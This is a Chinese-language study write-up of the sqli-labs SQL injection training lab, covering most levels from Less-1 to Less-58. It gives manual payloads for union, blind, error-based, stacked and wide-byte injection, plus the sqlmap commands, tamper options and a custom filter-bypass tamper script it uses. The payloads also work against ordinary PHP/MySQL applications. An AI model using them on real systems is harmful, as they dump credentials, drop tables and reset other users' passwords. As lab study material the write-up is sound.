sqli-labs

原创
2020/03/08 18:55
阅读数 340

sqli-labs

思路

我们需要从,前端,网络,数据库,日志四个角度去观察SQL injection。

  • 当我们去一个文件夹中时,当页面的默认名为index时,URL中只需到文件夹就能访问到index文件。

基本包裹类型

不包裹 单引 ' 双引 “
小括号 ( 单引小括号 ‘) 双引小括号 “)

SQL注入类型

按注入点划分
数字型 字符型 搜索型
id = 1 name = admin keyword=关键字
select * from 表名 where id=1 select * from 表名 where name='admin' 需要闭合 select * from 表名 where 字段 like '%关键字%'
按数据提交类型
GET POST Cookie HTTP head
http://xxx.com/news.php?id=1 post表单 存在于cookie的某个字段中 注入点存在于头部某个字段
按照执行效果
基于布尔的盲注 基于时间的盲注 基于报错注入 联合查询注入 堆查询注入 宽字节注入
返回页面 用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断 页面会返回错误信息, union

sqlmap_args

sqlmap -u http://10.0.0.153/sqli-labs/Less-5/?id=1 --technique B --dbms mysql --batch -v 0 -dbs
  • --technique (简写-tech)

    B:Boolean- based blind SQL injection(布尔型注入)

    E:Error-based SQL injection(报错型注入)

    U:UNION query SQL injection(联合查询注入)

    S:Stacked queries SQL injection(堆叠查询注入)

    T:Time-based blind SQL injection(基于时间延迟注入)

  • --data

    POST注入时写入post参数的。

    sqlmap -u 10.0.0.153/sqli-labs/Less-11/ --data="uname=ppp&passwd=66&submit=Submit" --dbms mysql --batch -v 0
    
  • --p

    指定参数,可以和--data结合使用,在post SQL injection中指定参数注入。如

    sqlmap -u 10.0.0.153/sqli-labs/Less-17/ --data="uname=admin&passwd=48789798&submit=Submit" -p passwd --level 3 --tech E --dbms mysql --batch -v 0

  • --level

    默认等级是1,

    当>=2的时候也会检查cookie里面的参数,

    当>=3的时候将检查User-agent和Referer,使用时是将报文进行.req保存,紧在其后使用*进行标记,则在检测时就会进行检测

    --level 3 在post注入时尽量使用的等级。

  • --batch

    使用默认选项,也就是那些yes和no使用时,使用默认选择。

  • -v

    显示注入数据,默认为一级

    0 只显示python错误以及严重信息

    1 同时显示基本信息和警告信息(默认)

    2 同时显示debug信息

    3 同时显示注入的payload

    4 同时显示HTTP请求

    5 同时显示HTTP响应头

    6 同时显示HTTP相应页面

  • –os-cmd,–os-shell

      	在sqlmap中执行系统命令,是sqlmap在mysql中的udf提权,sqlmap会向系统上传二进制库,windows中的dll,linux中的os。只有上传成功后才可以使用该参数执行system _command。是sqlmap对udf的一种实现。但是在其他数据库中,比如mssql中,是可以直接执行系统命令的。
    
  • --user-agent

      	在发送报文时,使用自定义的user-Agent头,而不是sqlmap默认的。
    
  • --tamper

    ​ 携带脚本,eg: --tamper base64encode.py

    sqlmap的脚本所承接的参数是sqlmap使用的payload,然后经过脚本操作后,还是返回payload继续让sqlmap使用。

  • --list-tampers

    ​ 查看sqlmap支持的脚本 sqlmap --list-tampers

  • --suffix

    给payload添加后缀,eg:--suffix "%0aand%0a'1'='1" ,一般用于闭合后面的SQL语句,当注释符不可使用的时候最好使。

绕过姿势

  • 空格绕过

    使用/**/代替空格,使用()包裹参数替代空格。使用回车代替空格。使用脱字符绕过

    使用脱字符绕过`  eg:select`username`,`password`from`users`;
    

SQL语句使用

  • union

    为函数的显示提供回显位。

  • order by

    猜测当前使用表的列数,为union的使用提供前提。使用时,必须保证sql语句的其他部分是对的,只有order by可以控制其是否正确,也就是变量唯一性。

  • --+

    注释符只能注释掉sql语句不能注释掉包裹的符号,如单引号。

实践

GET、数字类型、报错类型

  • Less-1 (’)

    ​ 其php解析的sql语句是$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";,C从前端以get的方式将参数id经过网络到达S的80端口,然后传给php解析,php将得到的string类型的id参数拼接到php的源码中,即$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";,也就是说,php拿到的只是一个变量名为sql的字符串,然后将此字符串通过自己和数据库的接口进行连接,将字符串交由数据库处理,数据库将该字符串当做sql语句进行执行,也就是说,当字符串到达数据库时,才具有了sql语句的意义。单引号的闭合是发生在数据库端的, 而php仅仅只是将前端的参数和自己的SQL string进行拼接。

    ​ 而第一课,如果我们只是单纯的更换id的参数,来达到让php拼接后的sql语句执行不同的id的信息,则只是平行越权,没能更好利用SQL injection Vul,因为从前端传过去的id参数我们是可以改变的,则,我们去构造id的值,让其拼接进php的sql string有所改变,并达到我们要在数据库中执行的语句。

    ​ 若正常传输id,则在php交给数据库的sql语句是select * from users where id =1 limit 0,1;,但是我们若能在数据库中执行select * from users where id =1 or 1=1 ; -- limit 0,1;语句,则数据库是可以正常的解析该sql,并依据sql的语法,将 -- 后面的sql当做注释进行处理,失去了意义,并且我们构造的where子句的返回结果一定是true,也就是php理应传给数据的sql string中的一部分应该是1 or 1=1 ; --,也就是PHP拿到id参数后经过一顿处理,真正拼接进要传给数据库的sql语句中的其中一部分。但问题是,前端传给php的id值时,将值用单引号括起来了,如果我们就直直的直接将1 or 1=1 ; --从前端传给php的话,因为单引号的问题。php会将发生咋数据库中的错误,显示给前端。、

    ​ 所以我们要做的就是,将1 or 1=1 ; --进行构造,去逃避php的单引号,让php传进数据库中的sql就是1 or 1=1 ; --

    ​ 在进行SQL injection时,我们只对包裹id参数的引号进行闭合,而不去管包含整个sql语句 的引号,当然,那个引号具体是单引号还是双引号,不重要。所有我们对$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";构造的id值是0' union select 1,version(),3 from users; --+,拼接起来就是

    SELECT * FROM users WHERE id='0' union select 1,version(),3 from users; --+ '  LIMIT 0,1
    

    这个sql_string是php从第一时间接收到的,可以看到,这个sql_string是php可以识别的可以转化为传递给数据库的正常sql语句。在使用union进行构造sql语句时,必须知道,union连接sql的form前的选择必须都数据库可以兼容的数据类型,并且都要是相同的数量,目的是使用union构造一个查询显示位,经常使用的是数字,而数字是sql默认的,当不知道列名时使用的代替列名的方法,而每个数字的位置,是我们可以构造函数的位置,而构造的from后的表名,尽量和前面的表名一致,当然只要符合union的使用条件即可。而我们在0后面的那一个单引,目的是和包裹id参数前面的那一个单引在php中发生闭合,而后面的那一个单引被--+给注释掉了,失去了意义。也就是说,我们闭合只是id前面的那一个单引。

    ​ 并且,我们使用union所构造的显示位,只是在数据库中的,但是前段具体显示数据库中的哪一个显示位,是由php的代码决定的,当我们将version()函数放在了1的位置,那么就无法在前端显示出来结果,但是数据库已经将结果传给了php,只是php没有显示罢了。也就是说,php承认的显示位只是2和3,所以2和3是可以显示函数结果的。

    ​ 然后,我们回到最初的,我们在构造时,需要知道php在包裹id时,使用的到底是什么,是单引还是双引,因为包裹的东西是我们在构造时要去闭合的东西,所以必须知道,而本课是基于错误的,也就是说,当我们输入不合法的id时,php会向我们报错,会像php在代码中的报错一样,直接将错误语句直接输出在前端,也就是这个报错,我们知道了他的包裹的是单引号,所以我们在给真实的id一个无关紧要的值,然后只用union查询我们想要的值,进行显示。当然这个无关紧要的值尽量不能是正常的,但是要是对的,不然前端在进行显示时会显示查询正确的那个而不是我们使用union构造的那个语句,原因是前面正确的那个会占用前端的显示位。而第一课通过报错得知是单引。

  • Less-2 ( )

    ​ 是属于不包裹的$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,直接拼接。

    0 union select 1,version(),3 from users ;--+
    
  • Less-3 ( ') )

    ​ 属于单引号和小括号包裹。

  • Less-4 ( ") )

    ​ 属于双引小括号。

GET方式、数字类型、布尔盲注

  • Less-5

    其包裹还是单引号,并且我们的sql语句是正确的传递的,数据库也执行了我们的sql,数据传给了php,但是php本身没有将数据传给前端进行显示,但是我们的union sql语句在数据库中是执行了的,但是前端只是显示我们的sql是否正确执行了,所以,我们需要构造特殊的SQL语句,让数据库的执行结果只有对错,而前端也只是显示对错,所以,我们构造具有判断意义的语句,一次次的测试数据库,缺点就是发送的sql语句太多。

    ​ 测试是否存在注入点。id=1' and 1=1 --+单引号的目的是让前面的都正确,单引号闭合,让错误的控制是我们构造的参数引起的。所以id=1' and 1=1 --+返回正确页面,id=1' and 1=2 --+返回错误页面。

    所以使用sqlmap进行布尔类型的注入sqlmap -u http://10.0.0.153/sqli-labs/Less-5/?id=1 --technique B --dbms mysql --batch -v 0 -dbs

  • Less-6
    将单引号换为了双引,也就是包裹变了而已,测试的payload `?id=9" and 1=7 ; --+`,还是基于布尔的。使用sqlmap `sqlmap -u http://10.0.0.153/sqli-labs/Less-6/?id=1 --technique B --dbms mysql --batch -v 0 -dbs`
    

    ​ 对于包裹的类型,sqlmap会自行检测,并且找到一般的包裹,进行脱裤。

  • Less-7

    ​ 使用sqlmap,他找到了payload id=1') AND 3449=3449 AND ('pole'='pole,可以看到,他不仅使用了数字判断,还有字符串判断,和sql_string拼接起来就是SELECT * FROM users WHERE id=(('1') AND 3449=3449 AND ('pole'='pole')) LIMIT 0,1,可以看到,整个句子没有使用 --+ 的注释符,而是使用了基于布尔的盲注,感觉,如果不能使用注释符,就得进行布尔盲注,或者时间盲注,不能使用联合注入,也就是说,我们不能直接回显。

  • Less-8

    ​ 单引号包裹,sqlmap使用的payload是 1' AND 2013=2013 AND 'hvCd'='hvCd,我们的and是where子句的一部分,是在where的控制范围只内的,where子句和limit在逻辑上是相同的,我们的and并列的是id参数,并且一个包裹单元所能作用的只是and的一部分,也就是说,单引号内不能包含and参数,必须另使用一个单引去包裹and的其他参数。sql_string拼接起来就是SELECT * FROM users WHERE id='1' AND 2013=2013 AND 'hvCd'='hvCd' LIMIT 0,1

GET方式、数字类型,时间盲注

  • Less-9

    ​ 时间盲注的特点是,不管你是对还是错,我的回显都一个样子,没有回显可以辨别的,所以,我们使用时间函数,让对错体现在页面的返回时间的长短上。测试的payload 1' AND SLEEP(5) AND 'AZHZ'='AZHZ1,1‘ 的目的是让前面的包裹闭合,and sleep(5)的意思是让后面的and连接的构造语句能有所回显体现,当'AZHZ'='AZHZ1正确了,就睡5秒,错了就不睡,正常返回,此payload需要三部分构成。闭合,回显体现,测试位。

  • Less-10!!!!!!!!!!!!!!!!!!

    没搞定

POST方式、字符类型、报错注入

  • Less-11

    ​ 是post类型,不在使用id当做参数进行过滤条件,使用的是字符类型,sql_string是ELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1,而我们构造的payload是ppp' or '1'='1,连接起来就是SELECT username, password FROM users WHERE username='x' and password='ppp' or '1'='1' LIMIT 0,1,同样的,对单引号进行闭合,从where的执行来看,不管username和password是否正确,where的结果都是true,所以数据库会查询整个表的用户信息,但是由于limit的存在,导致只能得到第一行,所以显示的是第一个用户信息。一个or让前面的判断失去了意义,正确与否都不重要。

    ​ 或者直接使用--+,让查询条件到数据库的时候,只有username,没有password,payload是ppp' or 1=1 --+,结合起来就是SELECT username, password FROM users WHERE username='ppp' or 1=1 --+' and password='$passwd' LIMIT 0,1,使用sqlmap

    sqlmap -u 10.0.0.153/sqli-labs/Less-11/ --data="uname=ppp&passwd=66&submit=Submit" --dbms mysql --batch -v 0

  • Less-12

    ​ 根据报错信息,得知包裹是(""),所以构造payload ppp") or ("1"="1,我们默认是在where子句中进行的。使用sqlmap

POST方式、字符类型,报错布尔注入

  • Less-13

    ​ 从返回页面上看,报错得知,包裹是(' '),然后只有成功和失败两种,所以是布尔类型的。测试的payload是cds') or ('1'='1,结合起来就是SELECT username, password FROM users WHERE username=('dc') and password=('cds') or ('1'='1') LIMIT 0,1,直接sqlmap即可。

  • Less-14

    ​ 错误返回得知包裹是 “ ” ,并且是布尔注入,构造的payload是cds" or "1"="1,结合是SELECT username, password FROM users WHERE username="cads" and password="cds" or "1"="1" LIMIT 0,1,同样的使用sqlmap即可,sqlmap会测试出一般的包裹类型。

  • Less-15!!!!!!!!!!!!!!!!!!!!

    ​ 题目说是单引号,基于时间或者布尔的盲注,使用sqlmap给出的payload是ppp' AND (SELECT 3178 FROM (SELECT(SLEEP(5)))Zkpe) AND 'YQrx'='YQrx,奇怪的是,他的睡眠是使用(SELECT 3178 FROM (SELECT(SLEEP(5)))Zkpe)来完成的,而并非直接的sleep,而且sleep直接使用是无法使用的。无法知道是什么原因。

  • Less-16

    ​ 直接sqlmap

    sqlmap -u 10.0.0.153/sqli-labs/Less-16/ --data="uname=ppp&passwd=66&submit=Submit" --level 3 --dbms mysql --batch -v 0
    

    ​ 所得到的payload是uname=ppp") AND (SELECT 8799 FROM (SELECT(SLEEP(5)))DYfP) AND ("BmAN"="BmAN&passwd=66&submit=Submit,手动测试成功。

    ​ 奇怪的是,源码中的sql string是"SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";,但是他在上面``$uname='"'.$uname.'"';$passwd='"'.$passwd.'"';`,还是加了双引,也就是说,php将前端的参数进行了加工,添加双引的意义是,在数据库中,username和password是string类型的,真正解析参数中的包裹的是数据库,因为单引和双引在数据库中是包裹字符串的,小括号是一个执行单元,比如在

    SELECT username,
           password
    FROM users
    WHERE username="ppp"
      AND
        (SELECT 8799 --此处的括号是去让select 8799查询出结果,是sleep的壳
         FROM
           ( SELECT -- 此处是去将select的结果承接为一个查询结果,让重命名可以实现
            ( 
                SLEEP(5) --执行睡眠
            ) 
           ) dsapf -- 结果的别名,随机字符串。
        )
      AND "BmAN"="BmAN"
      AND password=("dsf") LIMIT 0,1;
    这句话是在进行时间盲注时使用的,而不是单纯的睡眠函数的使用。在SQL中是可以使用单引号,双引号和小括号。
    

    ​ 在使用POST进行sql injection时,还是使用--level 3,目的是检查post注入。

POST方式、字符类型、UPdata

  • Less-17

    ​ 这个页面的意思是,只要用户名正确,那么就将用户的密码更改为新密码,使用了两条语句,一个select,一个update,updata的语句是UPDATE users SET password = '$passwd' WHERE username='$row1',updata操作的元素是table_name,通过where子句约束范围,只用set更改在where子句范围内的列值。

    ​ 此的报错是在password输入框发生的,需要username 正确,才可以触发updata语句的报错。

HTTP Head、insert、基于报错

  • Less-18

    此课别与GET和POST,是基于HTTP Head User-Agent。该头的作用是,client将自己的浏览器类通过user-agent头以值的方式传递给服务器,在HTTP报文中。

    user-Agent使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等,一句话,client通过user-Agent将自己的os version,cpu,浏览器类型都告诉了server,所以我们要对user-Agent进行修改。

    ​ 在源码中,首先会去验证username和password是否正确,如果正确,则会将user-Agent的值插入数据库中,结合lp一起插入,使用的是insert key word,也就是说,注入点是在insert中的,是发生在密码验证成功之后的。插入语句是$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";,从中也可以看出包裹参数的依然是单引,并且报错也是发生在验证正确之后的,是对insert语句错误时的报错。所以使用手动直接验证user-Agent注入的方式是,修改user-Agent的值为SQL语句,或者在值中插入我们的sql,和get一样,插入的sql也是具有闭合部分,注入向量,封闭部分。如payload是123' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from security.users )),0) or ',拼接后是

    INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('123' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from security.users )),0) or '', '127.0.0.1', $uname)
    

    ​ 使用sqlmapsqlmap -r /root/Desktop/http.req --level 3 -tech E --dbms mysql --batch -v 0

  • Less-19

    referer告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理,也就是一个此页面请求时的url。

    ​ 本课是将http request中的referer中的值插入到了数据库中,服务器对于其的处理是INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP'),所以当我们将payload构造到referer value后面时,可以触发SQL injection。这次使用sqlmap进行跑时,不再使用给报文加* 的方式,而是使用-p参数指出测试http hander referer。sqlmap -r /root/Desktop/http.req -p referer --level 3 --dbms mysql --batch -v 0

  • Less-20

    cookie,是在HTTP中保持会话状态的字段,当用户输入账户和密码并且认证成功之后,服务器会发送cookie给客户端,意思是,只有客户端拿着这个cookie来访问服务器,那么就认为是该用户,不用再次使用密码认证,也就是说,cookie是服务器发送给客户端的临时认证,在一定的期限内,cookie是代替密码的。同样的,当其他的客户端获取了cookie之后,也可以冒充该用户,因为,服务器只认识cookie,而不再去密码认证。

    ​ 在本课中,当我们使用密码认证成功后,页面返回一个cookie即是,uname=admin,然后我们抓包去在http header中添加cookie头,值为uname=admin,提交之后,服务器获取cookie中的值,将其中的admin进行sql查询,也即是验证cookie的过程。所以我们构造cookie的值为uname=admin' and '1'='2,触发单引报错,在服务器端拼接之后语句是

    SELECT * FROM users WHERE username='admin' and '1'='2' LIMIT 0,1
    

    需要注意的是,拼接进SQL string中的是cookie中uname的值,而不是cookie整体的值。

    ​ 使用sqlmap sqlmap -r /root/Desktop/http.req -p cookie --level 3 --dbms mysql --batch -v 0,需要注意的是,存在注入的页面是已经验证成功之后,服务器发送cookie,客户端准备使用cookie登陆时所触发的注入。也就是不存在post方式的uname和passwd的页面。

  • Less-21

    ​ 此课还是cookie,只是对cookie进行了加密,让client对cookie的伪造更加的难,所以对cookie进行了base64加密,是的,一个及其容易搞定的base64 加密,这样做当我们进行payload构造时需要在client进行base64加密即可。手动测试payload,YWRtaW4nIEFORCAnMSc9JzE=,但是难受的是,使用sqlmap爆破时也需要对payload进行加密,所以要使用脚本。去加密payload。

    ​ 使用sqlmap sqlmap -r /root/Desktop/http.req --dbms mysql --tamper base64encode.py --batch -v 0,需要在报文中使用*进行标注。

  • Less-22

    ​ 还是cookie,但是在查询cookie时,对其使用了双引包裹而已,sqlmap是可以识别基本的包裹。直接sqlmap sqlmap -r /root/Desktop/http.req --cookie uname=YWRtaW4%3D --dbms mysql --tamper base64encode.py --batch -v 0

GET、基于错误,联合注入

  • Less-23

    手动payload id=1' and '1'='1,和前面的一样,当知是单引号包裹。

  • Less-24

    这课的关键是 UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass',问题出在 username参数中,我们的操作是,构造用户名为admin' or '1'='1的用户目的是和语句进行拼接时,可以去修改admin用户的密码,当然我们知道其他用户时也可构造修改其他用户的密码,最后在数据库中查询的语句就是UPDATE users SET PASSWORD='$pass' where username='admin' or '1'='1' and password='$curr_pass' ,不仅修改了admin' or '1'='1用户的密码,并且也修改了admin的密码,达到的攻击效果是,修改任意用户密码。

Filter_string

  • Less-25 ,OR 、AND

    问题的关键是

    $id= preg_replace('/or/i',"", $id);			
    $id= preg_replace('/AND/i',"", $id);
    

    在服务器端,将用户参数id进行了过滤,也就是不让用户数据传到数据库查询时包含or和and,他将数据的一部分安全交给了过滤器,他信任过滤器,但是可悲的是,过滤器在具体的实现时存在bypass,是他的实现机制的问题,该机制是存在绕过的,而手段就是双写。

    ​ 所以我们构造的payload就是 1‘ anandd '1'='1,其原理是过滤器在进行过滤时,只对id中的and替换里一次,而我们构造的id中有两个and,你替换一个我刚好还有一个刚好达到了在数据库中使用and的作用。

    ​ 使用sqlmap并携带脚本跑 sqlmap -u http://10.0.0.153/sqli-labs/Less-25/?id=1 --tamper double_andor.py --batch -v 3,-v 3的目的是让我们可看到发送的payload。

#double_andor.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    双写and和or (e.g. AND -> ANANDD ; OR -> OORR)
    """

    return payload.replace("AND", "ANANDD").replace('OR', 'OORR')
  • Less-26 or、and、spaces、--、#、//、/*

    过滤代码

    $id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
    	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
    	$id= preg_replace('/[--]/',"", $id);		//Strip out --
    	$id= preg_replace('/[#]/',"", $id);			//Strip out #
    	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
    	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
    
    • 当我们使用自带的space2comment.py脚本,将空格替换为/**/ ,此时$id= preg_replace('/[\/\*]/',"", $id);过滤代码起作用,将/*替换掉。所以不行。

没搞定

  • Less-27 /* 、--、#、空格、union、select

    没有注释,空格,union,select。所以使用布尔盲注,关键字随机大小写

    sqlmap -u http://10.0.0.153/sqli-labs/Less-27/?id=1 --suffix "%0aand%0a'1'='1" --tamper space2%0a.py,randomcase.py --batch -v 3
    
    • --suffix "%0aand%0a'1'='1" 的目的是去闭合后面的语句,从而不使用注释符
    • space2%0a.py 用%0a进行URL编码,逃避空格
    • randomcase.py随机大小写关键字,逃避union和select。
    • 本课的可以使用双写和随机大小写绕过。
  • Less-28 /* 、--、#、空格、union、select

    和27不同的是,不能使用双写绕过。因为 $id= preg_replace('/union\s+select/i',"", $id);的存在。

    直接使用sqlmap

    sqlmap -u http://10.0.0.153/sqli-labs/Less-28/?id=1 --suffix "%0aand%0a'1'='1" --tamper space2%0a.py,randomcase.py --batch -v 3
    

    一般过滤了select的和union的就使用布尔盲注和时间盲注。

  • Less-29~31
      好像还是使用了网站防火墙但是没能连接上,所以测不了其功能,但是可以直接使用sqlmap去跑,这样就和前面的get没啥区别。
    
  • Less-32 ’、“、//、

    转义了单引,双引,双斜杠。使用宽字节注入绕过单引号和双引号。

    ​ 宽字节编码导致的问题是,让两个ASCII字符被认为是一个宽字节字符。

    • 宽字节注入原理

      我们的user_data传入的是 %df' ,经过php时,PHP对单引进行了转义处理,即是添加了 \ ,数据变成了 %df\'  ,然后进行hex编码,变成了  %df%5c%27  ,%5c是 \的ASCII编码,%27是单引的编码,但是mysql处理%df%5c%27时,会将%df%5c用自己的宽字节编码体制认为是一个汉字,将%27还是认为是一个单引,所以我们就逃脱了单引号的限制,可以在数据库中使用单引,同样的双引也是一样的原理。
      

      使用sqlmap带脚本跑。

    sqlmap -u http://10.0.0.153/sqli-labs/Less-32/?id=9 --tamper unmagicquotes.py --batch -v 3
    
  • Less-33

    ​ 和上一课的区别是,不在使用自己写的替换函数只对单引号实现简单的替换,实现转义,而是使用php自带的addslashes函数进行转义,整个代码的关键是 $string= addslashes($string); ,该函数是让单引,双引,反斜杠,null前面加反斜杠进行进行转义。但是原理还是一样的,我们还是使用宽字节注入,逃脱反斜杠。

    使用sqlmap

    sqlmap -u http://10.0.0.153/sqli-labs/Less-33/?id=9 --tamper unmagicquotes.py --batch -v 
    
  • Less-34

    ​ 只是将33课的get参数换为了post提交,抓包可以看到,对uname和passwd的数据进行了转义,所以只需将宽字节注入使用到post方式上即可

    sqlmap使用

    sqlmap -u http://10.0.0.153/sqli-labs/Less-34/ --data="uname=admin&passwd=666&submit=Submit" -p uname,passwd --tamper unmagicquotes.py --batch -v 3
    
  • Less-35

    ​ 好吧没啥,一个普通的get注入。

  • Less-36

    ​ 这课的关键是mysql_real_escape_string函数也是PHP的转义函数。还是使用宽字节注入,区别于前面的是,使用的php转义函数不一样了

    sqlmap -u http://10.0.0.153/sqli-labs/Less-36/?id=9 --tamper unmagicquotes.py --batch -v 3
    
  • Less-37

    ​ post方式和mysql_real_escape_string转义函数的结合。还是使用sqlmap进行宽字节注入。

    这就牵扯到了转义函数本身的绕过问题。即是使用宽字节绕过php的转义函数。

    sqlmap -u http://10.0.0.153/sqli-labs/Less-37/ --data="uname=admin&passwd=666&submit=Submit" -p uname,passwd --tamper unmagicquotes.py --batch -v 3
    

    堆叠注入

  • Less-38

    ​ 使用堆叠注入,堆叠注入的优点是可以执行任何语句,包括updata,insert等语句,但是缺点是有环境本身不支持和权限问题。使用union的缺陷是具有局限性。

    ​ 问题的关键是mysqli_multi_query函数的使用,该函数可以支持同时查询多条语句,而mysql_query只支持查询单条语句。而mysqli_multi_query就是我们使用分号进行堆叠注入的关键。

    ​ 手动测试的payload 1';create table test007 like users;--+,可以在users数据库中创建名为test007的表。

  • Less-39

    和38比,只是换个包裹而已,payload 是1;drop table test007;--+

  • Less-40

    包裹是‘),所以payload是 1’);create table test007 like users;--+

  • Less-41

    ​ 是以时间盲注,使用堆叠注入,当然如果使用sqlmap可以跑出其他的注入类型,手动测试的payload 1;create table test007 like users;--+

    ​ 其源代中的sql语句是SELECT * FROM users WHERE id=$id LIMIT 0,1,没有包裹,属于数字型的。

  • Less-42

    ​ 从源码中分析可知,在登录时,php使用了mysqli_multi_query函数存在堆叠注入,所以构造post方式的堆叠注入payload login_user=admin&login_password=1';drop table test007;--+&mysubmit=Login,抓包修改即可。

     $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
       if (@mysqli_multi_query($con1, $sql))
    
  • Less-43

    ​ 在42的基础上更换了包裹而已,构造payload login_user=admin&login_password=1');create table test007 like users;--+&mysubmit=Login

    $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
       if (@mysqli_multi_query($con1, $sql))
    
  • Less-44

Order by

  • Less-46

    ​ 关键代码是,以sort传入的参数将作为order by 的值,该语句的本质是输出该以何种方式排序后输出。因为order by一定是在SQL的句末出现的,所以不用使用注释符,

    SELECT * FROM users ORDER BY $id
    

    ​ 首先,在SQL语句的语法中,order by和where一样都是属于select的子句存在的,所以可以使用and等语句进行拼接,或者直接进行查询即可,手动测试的payload是1 desc

    直接sqlmap是可以跑出来order by注入的。是基于错误的。

    ​ 感觉order by注入大多不是union注入。

  • Less-47

    将包裹换为了单引而已。

  • Less-48

    ​ 没有报错,是基于时间或者布尔的。报错的,下来是布尔的,再是时间的。可以发现,关于select子句的payload构造有,where,order by,group by,having四个子句,其中where和order by是针对单个的,group by和having是针对组的。 ​ SELECT * FROM users ORDER BY $id,没有包裹,直接构造。

    ​ 而sqlmap对于select子句的检测是可以的,是去构造各种payload,而这种构造的思想是和where子句的构造思想是一样的。

  • Less-49

    ​ order by和单引包裹的使用。只有一种返回页面,sleep函数可使用,所以进行基于时间的注入

  • Less-50

    ​ 源码看出是order by和stacked injection的结合

    $sql="SELECT * FROM users ORDER BY $id";
    if (mysqli_multi_query($con1, $sql))
    

    ​ 基于错误,布尔注入,时间注入都行,但是感觉没有联合注入,可能是order by的特点。

  • Less-51

    ​ 源码得知在50的基础上添加了单引包裹而已

    $sql="SELECT * FROM users ORDER BY '$id'";
    	/* execute multi query */
    	if (mysqli_multi_query($con1, $sql)) 
    
  • Less-52

    ​ 和50一样

    $sql="SELECT * FROM users ORDER BY $id";
    	/* execute multi query */
    	if (mysqli_multi_query($con1, $sql))
    
  • Less-53

    ​ 和51一样。

Challenges

  • Less-54

    ​ 和前面的注入一样,只是将注入次数进行了限制,为10次。

    ​ 首先,程序会在mysql中生成一个随机表,其中表名,字段名,值我们都不知道,而我们需要做的就是在有限的10次内,得到这些数据。在mysql中information_schema元据库中存储了mysql的信息,information_schema.tables表中存储了mysql的所有表的基本信息,其中的字段信息是

    table_schema 记录数据库名
    table_name 表名
    table_rows 关于表的粗略行估计
    data_length 记录表的大小(单位字节)
    index_length 记录表的索引的大小
    row_format 可以查看数据表是否压缩
    engine 存储引擎

    ​ 我们知道该随机表是在challenges数据库中的,所以构造SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='challenges';的查询语句查询表名。结合源码中的SELECT * FROM security.users WHERE id='$id' LIMIT 0,1,构造如下p-yload

    -7' union select 1,2,(select table_name from information_schema.tables where table_schema='challenges')--+
    
    • -7’ 的目的是让查询id时错误,单引是为了闭合包裹id的单引,只有id错误了后面的查询结果才可以显示在页面上。
    • union 为了让后面的select进行联合查询,
    • select 1,2,(...)是构造显示位,因为security.users表只有三列,所以只有三个,并且php只对2和3进行页面显示,所以我们的回显位就是2和3
    • select table_name from information_schema.tables where table_schema='challenges'是查询语句,查询challenges数据库中的表名,当查询结果不是一个,而是多个时,就是用concat函数将各个表名连接在一起形成一个值,但是会将表名黏在一起,所以使用group_concat()他会将查询的结果当做组来出来,然后在每一个表名后添加逗号进行表名分离,然后形成一个整体。所以比较完善的查询就是SELECT group_concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema='challenges';,但是在本课中,只生成了一个表,所以用哪种就无法体现出区别。
    • --+是去闭合后面的limit。

    知道表名之后,直接查询该表中的字段名,使用的是information_schema中的columns表其中的字段有

    TABLE_SCHEMA 所属的库
    COLUMN_NAME 所属的表
    COLUMN_NAME 字段名

    在查询的过程中,可能没有回显,此时重新启动一下数据库,因为mysql本身没有读到该新创建的表

    -7' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='challenges' and table_schema='5ZPNIMHTQX')--+
    

    知道表名和字段名后,直接查询值。

    -7' union select 1,(select group_concat(secret_X8GI) from challenges.5ZPNIMHTQX),3--+
    
  • Less-55

    ​ 只是换了包裹为小括号而已。

    $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    
  • Less-56

    ​ 好了,啥也不说了

    $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
    
  • Less-57

    ​ 双引包裹

    $id= '"'.$id.'"';
    			// Querry DB to get the correct output
    			$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    

报错注入

  • Less-58

    ​ 好吧,5次的机会,没有回显,所以使用报错注入。

    • **extractvalue()**函数的报错注入

      ​ 其语法是extractvalue(目标xml文档,xml路径),目的是查询xml文档。原理是,我们去在xml路径的位置构造我们的语句,然后一定不是正确的路径,所以会报错,就把我们构造语句的查询结果以报错的方式显示出来了。使用concat的目的是对查询的结果可以结构化输出,此例中,使用~对查询结果进行包裹,使输出更明显。

    -1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
    
    • **updatexml()**函数报错注入

      语法updatexml(目标xml文档,xml路径,更新的内容),我们还是操作xml路径参数。

    -1'union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),'ppp')--+
    
    • floor()

      ​ 利用数据库表主键不能重复的原理,使用 GROUP BY 分组,产生主键key冗余,导致报错,并且该表的必须大于等于三条数据。

